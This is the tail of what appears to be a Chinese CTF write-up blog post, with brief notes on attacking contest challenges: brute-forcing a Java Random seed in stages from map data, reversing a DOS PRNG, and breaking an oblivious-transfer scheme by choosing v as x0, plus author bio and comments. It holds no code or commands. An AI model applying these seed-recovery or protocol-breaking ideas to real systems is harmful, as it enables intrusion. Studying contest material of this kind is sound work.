查看Game::reset,其中有三位无法预测BASE_SEED_RNG.nextInt() & 7。因此每次需要同时发送8个请求检查。所以一切的问题就回到如何通过地图爆出Game::baseSeed了,Java的Random是一个LCG,但是咱不太会爆……实际上能爆出大于低3位就能通过移位的方法逐渐爆破了。如果能找到另一个Flag块倒是可以做,但是我个人觉得不太现实,因为范围太大了,而每次state只能得到32*32。

[题解后] 原来是先通过黑曜石爆破后20位,之后爆破前28位。这里利用的是黑曜石的数字特征,没想到能分段爆破。一直以为可用位太少不可能爆破出结果来着。以及非预期解我竟然没想到AIR也是可以挖的,好气啊……

×Flag 计算机

DOS逆向,但是咱没有调试环境啊(泪目)。似乎是一个PRNG,cutter给了F5,但是结果不太能看,16位程序咱也不熟悉。

[题解后] 看了题解发现和猜想的算法类似,但是过程好麻烦,确实不太想做……

×中间人

完全不会。

[题解后] 看了题解发现也确实不会。

不经意传输

解密消息

题目要求能求出一个数字,所以直接令v为x0就可以。

×攻破算法

盲猜论文复现,但是论文比CVE还长,不想看……

[题解后] 是我输了,原来是通过分布不均这一点做的……

后记

感谢JLU@NSA的各位dalao们对撰写这篇Blog的帮助。

分享到

KAAAsS

喜欢二次元的程序员,喜欢发发教程,或者偶尔开坑。(←然而并不打算填)

相关日志

  1. 没有图片
  2. 没有图片
  3. 没有图片
  4. 没有图片

评论

  1. SAGIRI 2020.11.07 4:07下午

    tqltql

  2. YenKoc 2020.11.26 5:49下午

    大佬太强了,看了大佬的一些博客,感觉自学能力真的非常厉害,大佬有联系方式吗,想认识一下

    • KAAAsS 2020.11.26 5:58下午

      邮箱admin@kaaass.net欢迎联系~
      IM可以联系TG @KAAAsS。

在此评论中不能使用 HTML 标签。